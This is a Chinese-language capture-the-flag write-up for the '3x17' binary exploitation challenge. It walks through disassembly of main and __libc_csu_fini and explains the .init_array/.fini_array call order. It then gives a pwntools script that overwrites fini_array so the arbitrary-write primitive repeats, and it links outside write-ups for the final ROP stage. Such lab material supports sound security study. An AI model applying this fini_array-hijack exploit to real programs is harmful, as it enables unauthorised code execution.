题目描述:

非常简洁

程序分析

基本信息

Untitled

Untitled

总结一下,这个程序的防护并不完善:

  • x64的小端
  • 部分GOT只读
  • 没有栈保护
  • 禁止堆栈可执行
  • 没有地址随机化

执行看看

Untitled

不明所以,要求输入地址和数据,感觉是直接向指定位置写入数据?还是逆向看看

抹除了函数表,只能从_start函数进行定位,但其实根据输出的字符串 addr: 也能定位到 main 函数

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0000000000401B6D                         main proc near
.text:0000000000401B6D
.text:0000000000401B6D var_28= qword ptr -28h
.text:0000000000401B6D buf= byte ptr -20h
.text:0000000000401B6D var_8= qword ptr -8
.text:0000000000401B6D
.text:0000000000401B6D ; __unwind {
.text:0000000000401B6D 55 push rbp
.text:0000000000401B6E 48 89 E5 mov rbp, rsp
.text:0000000000401B71 48 83 EC 30 sub rsp, 30h ; Integer Subtraction
.text:0000000000401B75 64 48 8B 04 25 28 00 00+mov rax, fs:28h
.text:0000000000401B75 00
.text:0000000000401B7E 48 89 45 F8 mov [rbp+var_8], rax
.text:0000000000401B82 31 C0 xor eax, eax ; Logical Exclusive OR
.text:0000000000401B84 0F B6 05 A5 77 0B 00 movzx eax, cs:only_writeonce_global_variable ; Move with Zero-Extend
.text:0000000000401B8B 83 C0 01 add eax, 1 ; Add
.text:0000000000401B8E 88 05 9C 77 0B 00 mov cs:only_writeonce_global_variable, al
.text:0000000000401B94 0F B6 05 95 77 0B 00 movzx eax, cs:only_writeonce_global_variable ; Move with Zero-Extend
.text:0000000000401B9B 3C 01 cmp al, 1 ; Compare Two Operands
.text:0000000000401B9D 0F 85 92 00 00 00 jnz loc_401C35 ; Jump if Not Zero (ZF=0)

从反汇编结果可以看得出来,这就是一个读取输入的地址与内容,并写入指定内存位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
result = (unsigned __int8)++only_writeonce_global_variable;
if ( only_writeonce_global_variable == 1 )
{
write('\x01', "addr:", 5uLL);
read(0, buf, 0x18uLL);
v4 = (char *)(int)sub_40EE70(buf);
write(1u, "data:", 5uLL);
read(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}

但有一些限制:

  1. 有一个全局变量,只能写一次
  2. 输入的内容最多只有0x18所以并不能构造ROP,所以这才是本题最精妙的地方

漏洞利用

__libc_csu_init && __libc_csu_fini

有关这部分的函数逻辑,可以参考: linux编程之main()函数启动过程

在看_start函数的时候就可以发现,一共压入了三个函数,包括了main函数:

Untitled

这是实际是执行的顺序,也就是说在 main 函数执行前,会执行 __libc_csu_init 函数;在执行后会执行 __libc_csu_fini 函数。

__libc_csu_init/fini 会执行多个函数,且顺序相反,具体而言,执行顺序如下:

1
2
3
4
5
6
7
8
9
10
11
.init
.init_array[0]
.init_array[1]

.init_array[n]
main
.fini_array[n]

.fini_array[1]
.fini_array[0]
.fini

这其中,__libc_csu_init执行.init.init_array__libc_csu_fini执行.fini.fini_array

__libc_csu_fini

来看看__libc_csu_fini函数先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:0000000000402960                                         public __libc_csu_fini
.text:0000000000402960 __libc_csu_fini proc near ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 55 push rbp
.text:0000000000402961 48 8D 05 98 17 0B 00 lea rax, unk_4B4100 ; Load Effective Address
.text:0000000000402968 48 8D 2D 81 17 0B 00 lea rbp, _fini_array ; Load Effective Address
.text:000000000040296F 53 push rbx
.text:0000000000402970 48 29 E8 sub rax, rbp ; Integer Subtraction
.text:0000000000402973 48 83 EC 08 sub rsp, 8 ; Integer Subtraction
.text:0000000000402977 48 C1 F8 03 sar rax, 3 ; Shift Arithmetic Right
.text:000000000040297B 74 19 jz short loc_402996 ; Jump if Zero (ZF=1)
.text:000000000040297D 48 8D 58 FF lea rbx, [rax-1] ; Load Effective Address
.text:0000000000402981 0F 1F 80 00 00 00 00 nop dword ptr [rax+00000000h] ; No Operation
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988 FF 54 DD 00 call qword ptr [rbp+rbx*8+0] ; Indirect Call Near Procedure
.text:000000000040298C 48 83 EB 01 sub rbx, 1 ; Integer Subtraction
.text:0000000000402990 48 83 FB FF cmp rbx, 0FFFFFFFFFFFFFFFFh ; Compare Two Operands
.text:0000000000402994 75 F2 jnz short loc_402988 ; Jump if Not Zero (ZF=0)
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: __libc_csu_fini+1B↑j
.text:0000000000402996 48 83 C4 08 add rsp, 8 ; Add
.text:000000000040299A 5B pop rbx
.text:000000000040299B 5D pop rbp
.text:000000000040299C E9 8B B9 08 00 jmp _term_proc ; Jump
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C __libc_csu_fini endp

所以该函数就是从列表中循环取出函数执行

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_402960()
{
signed __int64 v0; // rbx

if ( (&unk_4B4100 - (_UNKNOWN *)fini_array) >> 3 )
{
v0 = ((&unk_4B4100 - (_UNKNOWN *)fini_array) >> 3) - 1;
do
fini_array[v0--]();
while ( v0 != -1 );
}
return term_proc();
}
1
2
3
4
5
6
7
8
.fini_array:00000000004B40F0                         _fini_array     segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 public _fini_array
.fini_array:00000000004B40F0 00 1B 40 00 00 00 00 00 _fini_array dq offset sub_401B00 ; DATA XREF: __libc_csu_init+4C↑o
.fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8 80 15 40 00 00 00 00 00 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends

可以看到 fini_array 中一共有两个函数,先执行 sub_401580 后执行 sub_401B00

覆写**__libc_csu_fini**

通过修改 _fini_array 可以执行我们想执行的函数,但题目很明显没有给我们留后门函数,变通之下可以修改其为 main 函数,从而实现多次任意写。

1
2
3
4
5
6
7
8
graph LR;
init[init] --> init_array["init_array[0]"]
init_array --> init_array1["init_array[1]"]
init_array1 --> main
main --> fini
fini --> fini_array1["fini_array[1](main)"]
fini_array1 --> fini_array0["fini_array[0](fini)"]
fini_array0 --> fini

main 函数中的任意写可以写0x18足够覆盖fini_array

虽然main 函数中有全局变量只能写一次,但加加加的很快会溢出,约等于没有这个限制(这个东西的设计没太有意义)

EXP

多次任意写

首先覆盖fini_array 来实现多次循环调用漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",os='linux',log_level='debug')
myelf = ELF("./3x17")
io = process(myelf.path)

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960

def write(addr,data):
io.recv()
io.send(str(addr))
io.recv()
io.send(data)

write(fini_array,p64(libc_csu_fini)+p64(main_addr))

io.interactive()

至于后续,确实是参考其他WR才想到的方法,核心就是,利用特殊指令段修改RSP,然后就可以通过ret指令不断的在栈上跳转要执行的指令(ROP),挺巧妙,直接参考轩哥的WP吧,写的很好。

https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/


WR:

https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

https://eqqie.cn/index.php/archives/1335